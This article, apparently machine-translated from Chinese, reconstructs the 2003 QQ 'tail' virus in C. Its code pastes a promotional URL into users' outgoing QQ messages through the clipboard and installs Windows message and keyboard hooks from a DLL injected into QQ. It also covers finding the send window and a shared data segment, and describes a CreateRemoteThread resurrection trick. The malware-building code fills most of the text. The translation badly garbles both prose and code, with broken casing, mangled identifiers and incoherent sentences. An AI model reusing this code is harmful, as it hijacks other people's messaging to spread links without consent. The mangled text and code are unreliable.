from
From 2003, the QQ tail virus can be considered a scene. It uses IE's email head vulnerability to spread crazy on QQ. When the virus is sent to others, the virus will automatically add a sentence after the information text, and the content is diverse. In short, the recipient hoped by hope that the URL in this sentence will become the URL in this sentence.
What I will be discussed below is the technology used by QQ tail viruses. Since the source code of the virus cannot be obtained, the following code is all my subjective assault, and fortunately the effect is basically consistent with the virus itself.
Paste tail
The first one is the simplest problem how to add text. This technology has no secret, that is, the RicheDit "Post" of the QQ message through the clipboard. code show as below:
TCHAR G_STR [] = "Welcome to my small station: http: //dev.yesky.com"; // Function function: Paste the tail void pastetext (hwnd hrich) {Hglobal HMEM; LPTSTSTR PSTR; // allocate memory space hMem = GlobalAlloc (GHND | GMEM_SHARE, sizeof (g_str)); pStr = GlobalLock (hMem); lstrcpy (pStr, g_str); GlobalUnlock (hMem); OpenClipboard (NULL); EmptyClipboard (); // set Clipboard text setClipboardData (cf_text, hmem); closeclipboard (); // Release memory space GlobalFree (HMEM); // Paste text SendMessage (HRICH, WM_PASTE, 0, 0);}
hook
Ok, then the following question is, what should this text be posted? There are some articles on the Internet to study QQ tail implementation, you can use timers to control paste time, similar to this look:
Void CQQTaildlg :: ONTIMER (uint nidevent) {pastetext (hrich);
This is indeed a solution, but it also has a large limit-how is the interval of the timer? Perhaps poisoned people are typing, the tail text "唰" has appeared ...
However, the virus itself is not like this, it is accurately paste the text when you click "Send" or press the Ctrl Enter key. In January 2003, a P2 was in the middle, because the system speed was slow, so it could clearly see the timing of the text paste.
Telling here, these facts that I have stated will definitely let you say that you said: hook! - Yes, it is a hook. Here I am saying that this technology is really reproduced in the "QQ Tail Virus".
First of all, I made a brief introduction to the hook, and friends who have been familiar with the hook can skip this paragraph. The so-called Win32 hook (hook) is not the artificial reproduced arm of the iron hook, but a segment subroutine that can be used to monitor specific messages in the system, and complete some specific functions. For example, your program is the emperor, the Windows system acts as a governor of the provinces; as for the hook, it can be considered an imperial imperial. For example, the emperor is aimed at the national taxation, and then sent an imperial to find Shanxi governor and said: "Emperor is aiimuth, in addition to normal taxation, Shanxi adds a Xinghua Village wine ten altar." (-_- # ...) as the emperor can Like this method, the programmer can also use hooks to capture specific messages in the Windows system.
The problem is specific to the "QQ tail virus", that is, we need a hook, paste our text after the user clicks the "Send" button. The hook process I have implemented is (as for how to hook this hook, I will explain later): // Hook process, monitor "send" command message LRESULT CALLBACK CALLWNDPROC (int Ncode, WParam WParam, LParam lparam) {CWPSTRUCT * P = (cWPSTRUCT *) LPARAM; // Capture "Send" button if (P-> Message == WM_COMMAND && LOWORD (P-> WPARAM) == 1) Pastetext (g_hrich); Return CallNexthookex (g_hproc, ncode , wparam, lparam;
Here I mean this callback process for this:
1, LPARAM is a pointer to the CWPSTRUCT structure, which is described below:
Typedef struct {lparam lparam; wparam wparam; uint message; hwnd hwnd;} cwpstruct, * pcwstruct;
At this time, like me, SDK Fans may be a smile: Is this not the four hardcore parameters of the window callback? As you said, it is true that you can even use the hook function written by Switch (P-> Message) {/ * ... * /} to fully take over the QQ window.
2, g_hrich is a global variable that saves the handle of the QQ message text box. The reason why the global variable is used here is because I can't get this handle from the parameters of the keyboard hook callback function. As for how to get this handle and the special location of this global variable, I will explain later.
3, CallNexthookex is the next processing process in the hook chain. It will be said: "The imperial imperial imperial imperial imperial imperial imperialism has been replaced. Now, please ask the governor. "(-_- # ...) This is a very important part of the writing hook function. If this sentence is less, it may cause an error in the hook chain of the system, and some programs will not respond - in fact I When writing this simulation program, QQ is a few times.
4, you may ask why I captured the WM_COMMAND message, this reason let me use the following SDK code (although QQ is written with MFC, but with SDK code to explain the WM_COMMAND and "Send" button relationships) :
#DEfine IDC_BTN_SENDMSG 1 // "Send" button ID Macro definition // qq Send message dialog Passback Procedure · Li Ma forgery LRESULT CALLBACK Procsenddlg (HWND HDLG, UINT MSG, WPARAM WPARAM, LPARAM LPARAM) {Switch (msg) { Case WM_Close: Enddialog (HDLG, 0); Break; Case WM_COMMAND: {Switch (WPARAM)) {CASE IDC_BTN_SENDMSG: // Send Message ... BREAK; // Other command button processing section ...}} Break ; // other Case part ...} return 0;}
The entire process sent by the message is: When the user clicks the "Send" button, the parent window of this button (that is, "Send Message" dialog box will receive a WM_COMMAND notification message, where WPARAM's low words (ie LOWORD (WPARAM) for this button ID, then calls the part sent in the code, this process is as follows: So, here I capture the WM_COMMAND message is much more effective than capturing other messages or hooks the mouse hook.
Ok, now this hook has been able to complete the task. But please don't forget: more users prefer to send messages with the "Ctrl Enter" hotkey, so the program also needs to hang a keyboard hook:
// Keyboard hook process, monitor "send" hot key message LRESULT CALLBACK KeyboardProc (int Ncode, WPARAM WPARAM, LPARAM LPARAM) {// Capture hot key message if (wparam == vk_return && getasynckeystate (vk_control) <0 && lParam> = 0) Pastetext (g_hrich); Return CallNexthookex (G_hKey, Ncode, WPARAM, LPARAM);
The only thing to explain here is LPARAM> = 0 clause. Obviously this IF judgment is in judging the input of the hotkey Ctrl Enter, then lparam> = 0 is it? In fact, among the callback of the keyboard hook, LPARAM is a very important parameter that contains information on the repetition of the keystroke, scanning code, extension key mark, etc. The highest bit of LPARAM (0x80000000) indicates whether the current button is pressed. If this bit is being pressed, this bit is 0, and the opposite is 1. So lParam> = 0 means calling pastetext when WM_KeyDown, means that if the condition is removed, the PASTETEXT will call twice (one along with WM_Keyup).
Mounted hooks and lookup windows
The next step is how to mount these two hooks. For hook hooks, the problem to be solved is: Where do you hook a hook, and how to hook?
The goal of hook the hook is definitely the thread of the QQ "Send Information" window. My code is to pass the handle of this window to hook the hook:
// Mounting hook BOOL WINAPI STHOOK (hwnd hqq) {bool bret = false; if (hqq! = Null) {dWord dwthreadid = getWindowThreadProcessid (hqq, null); // Thank you friend Hottey's search code, save me to use Spy trouble g_hRich = GetWindow (GetDlgItem (hQQ, 0), GW_CHILD); if (g_hRich == NULL) return FALSE; // articulated hook g_hProc = SetWindowsHookEx (WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx (WH_KEYBOARD , KeyboardProc, g_hInstDLL, dwThreadID);! bRet = (g_hProc = NULL) && (g_hKey = NULL);!} else {// unloading hook bRet = UnhookWindowsHookEx (g_hProc) && UnhookWindowsHookEx (g_hKey); g_hProc = NULL; g_hKey = NULL G_hrich = null;} return bret;} To this, all the above code is located in a hook.dll dynamic link library, and I will not introduce the DLL, please refer to the relevant information on MSDN and this article. Supported source code.
All important work is already made in the DLL (in fact this part of the work can only be done by the DLL, which is determined by the Windows virtual memory mechanism), we only need to call the exported Sthook function in EXE. . So, how do the parameters of SETHOOK? Please see the following code:
// Thank you friend Hottey's search code, save me using Spy 's trouble HWnd hsend; g_hqq = null; setHOOK (null); do {g_hqq = findwindowex (null, g_hqq, "# 32770", null); hsend = findwindowex (G_HQQ, NULL, "Button", "Send (& S)");} While (g_hqq! = null && hsend == null); if (g_hqq! = null) Sthook (g_hqq);
The DO-WHILE loop in this code is used to find the "send message" window, the confidentiality of the QQ window is getting stronger and stronger, one layer of the window is set, it is very inconvenient, so thank you for your friend Hottey. "QQ message bomb, I have the article", I will use Spy trouble. What I did, just translated Delphi code in his text into C code.
DLL sharing data segment
If you don't know much about the DLL, then after you read my supporting source code, you will definitely have some questions about the following code:
/ / Define shared data segment #pragma data_seg ("shared") hHOOK G_HPROC = NULL; // window process hook handle hHOOK G_HKEY = NULL; // Keyboard hook handle hWnd g_hrich = null; // text box handle #pragma data_seg () #pragma comment (Linker, "/ Section: Shared, RWS") This defines a shared data segment, because my comment has been written very clearly, then what role does the shared data segment? Before answering this question, I invite you to comment out of the pre-processing instruction instruction in the code and then recompile this DLL and run, what do you find?
Yes, add a tail failed!
Ok, let me explain this question. The exe, DLL and QQ of this simulation program are actually the following relationship:
This DLL needs to map an instance to the address space of the EXE for its call, but also need to map another instance to the QQ address space to complete the work of the hook. That is, after the hook is hooked, there are two DLL instances in the module of the entire system! This DLL is non-He DLL, so there is no connection between them. Take the global variable g_hrich, the DLL on the left of the figure has obtained the handle of the text box through the incoming of EXE, however if there is no shared section, then in the right DLL, g_hrich is still NULL. The meaning of sharing section is reflected in this, which is to ensure the connection between EXE, DLL and QQ. This is a bit similar to the member variables of Static in C .
After the hook is successful, you can find a look at the process manager with a module view function, and you will find that hook.dll is also located in the module of QQ.EXE.
The last thing I want to say
1, I said before, in January 2003, I met this virus. I still know that the virus EXE is only 16kb size, so from the nature of the virus itself, this thing should be Writing with Win32ASM will be more practical.
2, that virus I used to be a hand-killing - I used a process to see the tool. But the "QQ Tail" has increased the resurrection function - After the EXE is killed, the DLL will wake up. I used my process to see tool analysis, and I found that almost all processes in the system were hanged by the virus's DLL. This technology is to use CreateRemoteThread in all processes to insert an additional resurrection thread, which is really a stone two bird - guarantees that EXE is always running, and this DLL is in use cannot be deleted. This technology I have already achieved, but the stability is far from being excellent in the virus itself, so it is not written here, interested friends can refer to the relevant chapter of Jeffrey Richter "Windows Core Programming".
3, the pen, I remembered a word in the "STL source analysis" in the "STL source profiling" - "The source code has no secret." If you have this feeling after reading this article, then I will feel lucky.